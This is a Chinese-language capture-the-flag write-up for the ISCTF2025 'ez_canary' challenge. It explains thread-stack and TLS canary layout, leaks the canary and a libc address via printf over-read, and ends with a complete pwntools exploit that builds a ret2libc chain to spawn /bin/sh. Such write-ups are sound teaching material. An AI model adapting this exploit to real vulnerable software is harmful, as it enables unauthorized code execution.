ez_canary

isctf2025ez_canary (6).png

main函数:

isctf2025ez_canary (2).png

vuln函数:

isctf2025ez_canary (5).png

main函数有这两个代码:

pthread_create(newthread, 0, vuln, 0);

pthread_join(newthread[0], 0);

这两行代码是 Linux 下多线程编程的核心函数

pthread_create(newthread, 0, vuln, 0);

含义: “启动一个新的线程(子任务),让它去执行 vuln 函数。”

pthread_create:创建线程的 API。

参数 1 (newthread):指针,用来存储新线程的 ID(身份证号)。

参数 2 (0):线程属性,0 表示默认。

参数 3 (vuln):关键点! 指定新线程要运行哪个函数。这里它把 vuln 当作子任务去跑。

参数 4 (0):传递给 vuln 的参数,这里是不传参。

pthread_join(newthread[0], 0);

含义: “主线程(Main)在这里暂停,死等那个新线程结束。”

pthread_join:等待线程结束(类似于父进程 wait 子进程)。

参数 1:指定等哪个线程(就是上面创建的那个)。

参数 2:接收返回值,0 表示不关心。

这会给我们带来三点不同:

A. 栈的位置变了 (mmap 分配)

普通程序:栈是由内核自动分配的,通常在内存的很高地址(如 0x7ff...),且栈的大小是固定的。

多线程程序:子线程的栈是 通过 mmap 系统调用动态分配的

这意味着子线程的栈位于 堆 (Heap) 和 Libc 附近的区域(通常是 0x7f...)。

B. Canary 变了

在 Linux 中,Canary 的值存储在 TLS (Thread Local Storage) 结构体中。

在子线程中,TLS 结构体紧挨着线程栈的高地址!

[ 低地址 ] <--- 栈增长方向
| 你的 Buffer |
| ... |
| Canary (栈上)|
| 返回地址 |
| ... |
| TLS 结构体 | <--- 存放 Canary 母本的地方 (Master Canary)
[ 高地址 ]

C. 栈空间有限

子线程的栈通常比较小(默认几 MB,有时会被题目限制得更小)。

这题的思路很简单,就是利用printf越界读取canary后覆盖返回地址为vuln再printf泄露libc地址ret2libc

要注意一点是这里要我们要泄露libc地址是不能泄露返回地址的

isctf2025ez_canary (4).png

isctf2025ez_canary (3).png

这里我们可以看到,我们泄露的返回地址是再一个匿名映射中的,这是线程的栈地址,这是它的典型特征:

特征 1:标志性的“警戒页” (Guard Page)

请看第一行:... ---p 1000

权限:---p 表示 没有任何权限(不可读、不可写、不可执行)。

作用:这就是所谓的 Guard Page。它像是一堵墙,挡在栈的最底端(低地址)。如果你的递归太深或者申请了太大的局部变量,导致爆栈,程序写入这个区域时就会立即触发 SIGSEGV 崩溃。

出现场景:这是 pthread_create 创建线程时的标配。

特征 2:经典的 8MB 大小

请看第二行:... rw-p 800000

大小:0x800000 字节 = 8 MB。

含义:这是 Linux 系统默认的线程栈大小(可以通过 ulimit -s 查看)。

权限:rw-p 表示可读可写,正是栈用来存放变量和数据的地方。

特征 3:匿名映射 (Anonymous Mapping)

名字:[anon_...]

区别:主线程的栈通常会明确标记为 [stack],而子线程的栈是通过 mmap 分配的,所以显示为匿名内存块。

我们发现这里是线程栈的地址,而线程栈的地址是跟内核有关的,所以我们用这个地址在本地算的偏移量在远程是不对的,而远程的偏移量我们也不知道,所以我们不能泄露这个地址。

我们看栈上其他位置有没有能用的

isctf2025ez_canary (7).png

我们以rbp的位置为参考计算填充字节,注意,这里要看第二次vuln时(即我们覆盖返回地址跳转的vuln)的栈,不然会有16字节的偏差,这是因为我们覆盖返回地址不用call会偏差8字节,然后payload中又有个ret又会偏差8字节,这里是vuln的开头的mov rbp,rsp;,在下一步rsp就要跳转走了,我们要使用stack看的话要在rsp跳转前看,图中rsp就是栈底地址即后面rbp的地址。

我们发现有一个start_thread的libc地址,这个我们可以用。

低地址
^
| +---------------------+ <--- RSP (当前栈顶)
| | |
| | 你的 Buffer |
| | (大小 0x150) |
| | |
| +---------------------+
| | Canary (8字节) |
| +---------------------+
| | Saved RBP (8字节) | <--- RBP (栈底 )
| +---------------------+
| | Return Address | <--- 线程栈地址
| +---------------------+
| | ... |
| | Start_Thread | <--- 那个 384 字节深处的libc地址
| +---------------------+
v
高地址

start_thread是那两行线程代码调用的,与__libc_start_main类似。

EXP:


from pwn import *
context(arch='amd64', os='linux', log_level='debug')
filename = './pwn_patched'
libc = ELF('./libc.so.6')
p = process(filename)

p.recvuntil(b"Please enter your name >>\n")
p.send(b'a' * 328 + b'b') 
ret = 0x40101a
p.recvuntil(b"Your name: ")
leak_data = p.recvuntil(b"Please enter your content >>\n", drop=True)

canary_part = leak_data[329:329+7] 
canary = u64(b'\x00' + canary_part)
success(f"Canary: {hex(canary)}")

vuln_addr = 0x40123d 
payload_restart = b'a' * 264 
payload_restart += p64(canary)
payload_restart += p64(0xdeadbeef) 
payload_restart += p64(ret)
payload_restart += p64(vuln_addr)
p.send(payload_restart)

p.recvuntil(b"Please enter your name >>\n")
p.send(b'c' * 384)
p.recvuntil(b"Your name: ")
p.recvuntil(b'c' * 384)
leak_raw = p.recv(6)
leak_addr = u64(leak_raw.ljust(8, b'\x00'))
success(f"Leaked Stack Addr (Libc): {hex(leak_addr)}")

libc.address = leak_addr - 0x947d0
success(f"Leaked libc_base {hex(libc.address)}")
pop_rdi = libc.address + 0x000000000002a3e5
system_addr = libc.symbols['system']
success(f"Leaked system: {hex(system_addr)}")
pop_rdi = ROP(libc).find_gadget(['pop rdi', 'ret'])[0]
success(f"Leaked rdi: {hex(pop_rdi)}")
bin_sh = next(libc.search(b'/bin/sh'))
success(f"Leaked bin: {hex(bin_sh)}")

payload_shell = b'a' * 264
payload_shell += p64(canary)
payload_shell += p64(0)
payload_shell += p64(ret)
payload_shell += p64(pop_rdi)
payload_shell += p64(bin_sh)
payload_shell += p64(system_addr)

p.recvuntil(b"Please enter your content >>\n")

p.send(payload_shell)

p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/ez_canary at main · ZenDuk17/CTF-Writeups


ez_canary
http://localhost:8080/archives/wei-ming-ming-wen-zhang-C1p3ee9j
作者
ZenDuk
发布于
2025年12月15日
许可协议